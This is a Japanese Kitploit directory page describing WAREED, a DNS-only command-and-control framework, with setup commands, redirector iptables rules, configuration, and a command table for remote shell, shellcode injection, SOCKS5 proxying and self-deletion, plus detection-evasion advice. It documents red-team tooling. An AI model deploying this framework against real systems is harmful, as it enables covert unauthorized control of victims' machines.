Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
WAREED-DNS-C2 — DNSのみを使用するコマンド&コントロールフレームワーク。Windowsエージェント、ペイロード生成、リモートシェル実行、シェルコードインジェクション、および隠密作戦のためのSOCKS5プロキシサポートを備えています。 | Kitploit
ツール/GitHubGitHub/faisal-p27/wareed-dns-c2
ペイロード生成IDS/IPS回避ポストエクスプロイトコマンド&コントロールリモートアクセスツールペイロード開発
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

DNSのみを使用するコマンド&コントロールフレームワーク。Windowsエージェント、ペイロード生成、リモートシェル実行、シェルコードインジェクション、および隠密作戦のためのSOCKS5プロキシサポートを備えています。

リポジトリを見る
126341年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Wareed DNS C2

enter image description here

WAREED は、サーバーとターゲット間の安全な通信にDNSプロトコルを利用するコマンドアンドコントロール(C2)です。通信を最小限に抑え、データ交換を制限するように設計されており、HTTP/HTTPS経由のインターネットアクセスはできないがDNSは許可されているマシンに永続化するためのファーストステージC2として意図されています。

開発者 : @Fsalabduljabbar

仕組み

enter image description here

Wareedを選ぶ理由

多くのコマンドアンドコントロール(C2)フレームワークがDNSをトランスポートプロトコルとしてサポートしていますが、それらは主にHTTP/HTTPS向けに設計されています。これらのフレームワークをDNSに移行すると、動作が遅くなり、不安定になることがよくあります。DNSトランザクションにおけるこれらのフレームワークの不安定さに多くの課題を直面し、私はDNS専用に調整されたソリューションを作成せざるを得ませんでした。その結果がWareed、DNSのみのC2フレームワークです。この特化により、動作はより安定して効率的になり、主にDNS向けに設計されていない従来のC2フレームワークと比較して、Wareedはより高速で信頼性が高くなります。これにより、DNSトラフィックは許可されているがHTTP/HTTPSが制限されている環境において、Wareedは理想的な選択肢となります。

概要

3つのプログラミング言語を使用して開発されています:

  1. Hams エージェント(C言語)
  2. Wareed チームサーバー(Golang)
  3. Ather クライアントGUI(C++)

名前の説明:

Hams (همس) はアラビア語で「ささやき」を意味します

Wareed (وريد) はアラビア語で「静脈」を意味します

Ather (أثر) はアラビア語で「痕跡」を意味します

デモ

IMAGE ALT TEXT HERE

前提条件

  1. 有効な管理下のドメイン名
  2. Kali Linux 2023+ または Ubuntu 23+
  3. DNS接続を処理するための1つのリダイレクタ(Ubuntu)(オプション)

インストール

ステップ1: Wareedリポジトリをクローンします:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

ステップ2: セットアップスクリプトを実行します:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

コンパイルプロセスが正常に完了すると、同じディレクトリに2つの実行可能ファイルが生成されます:

  • WareedServer: チームサーバー用の実行ファイルです
  • Ather: GUIクライアント用の実行ファイルです。

また、エージェントのコンパイル状態も確認します。成功した場合、エージェントが展開可能で動作可能な状態であることを確認します。これはWareed C2の機能にとって重要です。

設定

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: C2が使用する一意の識別子。
  • domains: DNS通信にC2が使用するドメイン名の配列。
  • listener_port: DNSチームサーバーが受信接続を待ち受けるポート番号。
  • sleep: タスク要求間の基本遅延。
  • jitter: スリープ間隔にランダム性を追加してトラフィックパターンを偽装するパーセンテージ。
  • lookup_delay(無効): DNSクエリのペースを調整して検出を回避するために、DNSルックアップを実行する前の遅延。
  • default_dns_server: ローカルDNSが応答しない場合にエージェントが使用するDNSサーバー。

magic_value: 長さは3でなければなりません。

DNSインフラストラクチャ

DNS設定: Wareedを運用するには、有効なドメイン名が必要です。ドメインを取得したら、リダイレクタを指すように2つのDNSレコードを設定する必要があります:

  1. Aレコード: リダイレクタのIPアドレスを指すように設定します。
  2. NSレコード: 先ほど作成したAレコードを指すように設定します。

example

インフラストラクチャ

リダイレクタの設定: リダイレクタは、ポート53で受信するDNSトラフィックを処理し、チームサーバーにリダイレクトします。これを実現するには、リダイレクタマシン(R1)で次のiptablesコマンドを実行します:

DNSリクエストを許可:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

このコマンドは、DNSリクエストの標準ポートであるポート53で受信するUDPパケットを受け入れるようにファイアウォールを設定します。

DNSトラフィックのリダイレクト:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

[TeamServer IP] を実際のチームサーバーのIPアドレスに置き換え、[teamserver listener port] をチームサーバーが待ち受けているポート番号に置き換えてください。このコマンドは、ポート53に到着するすべてのトラフィックを、指定したチームサーバーのIPアドレスとポートに転送します。

enter image description here

Wareedの実行

Wareed チームサーバー

初めてWareedチームサーバーを起動するには、設定ファイル、クライアントパスワード、クライアントが待ち受けるポートを指定する必要があります。次のコマンドでWareedチームサーバーを実行します:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: このプレースホルダーを、サーバーへの認証にクライアントが使用するパスワードに置き換えます。
  • [Client Port Listener]: これを、クライアントからの接続をチームサーバーが待ち受けるポート番号に置き換えます。
  • [Path to configuration file]: 初期設定ファイルのフルパスを指定します。以降の実行では、この設定はデータベースから読み込まれるため、再度指定する必要はありません。

Ather GUIクライアント

Ather GUIクライアントを起動するには、次のように実行するだけです:

root@kitploit:~
./Ather

コマンドを実行すると、ログインページを含む新しいウィンドウが表示されます。

enter image description here

ログイン情報: 表示されたログインページで:

  • ユーザー名: ユーザー名を入力します。
  • パスワード: チームサーバーのコマンドラインで設定した対応するパスワードを入力します。
  • ポート: チームサーバーのコマンドラインで設定した、チームサーバーが接続を待ち受けるポート番号を入力します。
  • IPアドレス: チームサーバーのアドレスを入力します。

Wareed メインウィンドウ: enter image description here

新しいペイロードの生成

Ather GUIクライアントで新しいペイロードを生成するには、次の手順に従います:

  1. ペイロード生成に移動:

    • GUIクライアントを開きます。
    • メニューバーから Payload > Generate > Windows に移動します。このオプションを選択すると、ペイロード生成用の新しいウィンドウが開きます。

enter image description here

  1. ペイロードタイプの選択: Wareedでは、次の2種類のペイロードを生成できます: - EXE: 展開が簡単な実行可能ファイル形式。 - DLL: さまざまな方法で使用できるダイナミックリンクライブラリ。 -

DLLペイロードのオプション:

  1. エクスポート関数: 実行時にエージェント機能をトリガーする特定の関数を持つDLLを作成します。
  2. プロセスアタッチ: プロセスにアタッチされるとすぐにペイロードをアクティブにするDLLを生成します。

セッション

新しいペイロードを生成すると、新しいゲストセッションが自動的にチームサーバーに登録されます。この登録プロセスにより、この特定のセッションのみがチームサーバーに接続できます。セッションの認証と承認には、一意の識別子と「マジック値」が使用されます。このメカニズムにより、新しく生成されたペイロードとチームサーバー間の安全で制御された通信が保証されます。 enter image description here

ペイロードの実行

Windowsマシンでペイロードを実行すると、チームサーバーに登録するためのDNSクエリの生成が開始されます。この登録プロセスは数秒以内に発生し、通常3〜5件のDNSクエリが生成されます。 enter image description here

インタラクト

セッションと対話するには、目的のセッションを右クリックし、コンテキストメニューから「Interact」を選択します。この操作により、ターミナルインターフェイスを備えた新しいタブが開きます。このターミナルでコマンドを実行できます。 enter image description here

コマンド

注: inject コマンドは単純ですが、セキュリティコントロールに検出されることがよくあります。ステルス性を高めるには、独自のインジェクション技術を実装する必要があります。Agent/Source/Core/Tasks/Modules/Injection.c のインジェクションコードを変更してください。以下は、インジェクション関数をカスタマイズするための基本的なテンプレートです:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Add your injection technique here.
	// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
	// and the process ID in [int ProcessID].
 }

データベースのクリーンアップ

データベースをクリーンアップするには、ターミナルで次のコマンドを実行するだけです:

root@kitploit:~
./Run clean

今後の活動

Wareedプロジェクトにこれ以上の時間を投資する予定は今のところありませんが、それは信じられないほどの学習の旅であり、とても楽しめました。新たな主要プロジェクト THAWD BAS を開始する予定であることを発表できることを嬉しく思います。詳細については、Thawd.io をご覧ください。

開発スキルをお持ちで、Wareedへの貢献に興味がある場合、いくつかの機会があります:

  1. DNSを使用したステージャーペイロードの開発: @C5pider による素晴らしいプロジェクトがあり、優れた出発点となるシェルコードテンプレートを提供しています。GitHubで Stardust をチェックしてください。
  2. COFFローダーと統合の追加: WareedフレームワークにCOFF(Common Object File Format)ローダーを統合すると、バイナリモジュールの動的ロードと実行が可能になり、運用の柔軟性が向上するため、機能を大幅に強化できます。この機能の実装を検討している開発者には、Sector7などのリソースがCOFFローダー機能に関する貴重な洞察を提供し、@C5pider によるオープンソースプロジェクト CoffeeLdr が実用的な実装例を提供します。

スペシャルサンクス

この成果は、以下に示す優れたオープンソースプロジェクトの貢献なしには達成できませんでした:

Havoc 作者 - @C5pider

DNSStager 作者 - @mohammadaskar2

Boomerang 作者 - @NinjaParanoid

Socks5Server 作者 earthquake

delete-self-poc 作者 - @LloydLabs

ツールをダウンロード
CommandDescriptionUsageExample
help指定されたコマンドのヘルプメッセージを表示します[command]help shell
sleepジッター付きのスリープ遅延を設定します[delay] [jitter]sleep 10 50
shellcmd.exe コマンドを実行し、出力を取得します[commands]shell dir c:\windows\system32 (実行しないでください)
injectリモートプロセスにシェルコードを注入します[pid] [shellcode_path]inject 1234 /path/to/shellcode.bin
proxystartSOCKS5 プロキシを開始します[callback_host] [agent_connect_port] [proxy_listener_port]proxystart example.com 443 1080
proxystopSOCKS5 プロキシを停止します[callback_host] [agent_connect_port] [proxy_listener_port]proxystop example.com 443 1080
adddomain新しいコールバックドメインを追加します[domain_name]adddomain example.com
deldomainコールバックドメインを削除します[domain_name]deldomain example.com
listdomainアクティブなコールバックドメインをすべて一覧表示しますlistdomain
kill現在のプロセスを終了します。[yes]kill yes
wipe現在のプロセスを終了して削除します。[yes]wipe yes
selfdel現在のプロセスをディスクから削除します。[yes]selfdel yes
tasklistキュー内のすべてのタスクを一覧表示しますtasklist
taskdelIDで特定のタスクを削除します[task id]taskdel 123
taskscleanキュー内のすべてのタスクを削除します[yes]tasksclean yes
clearターミナル画面をクリアしますclear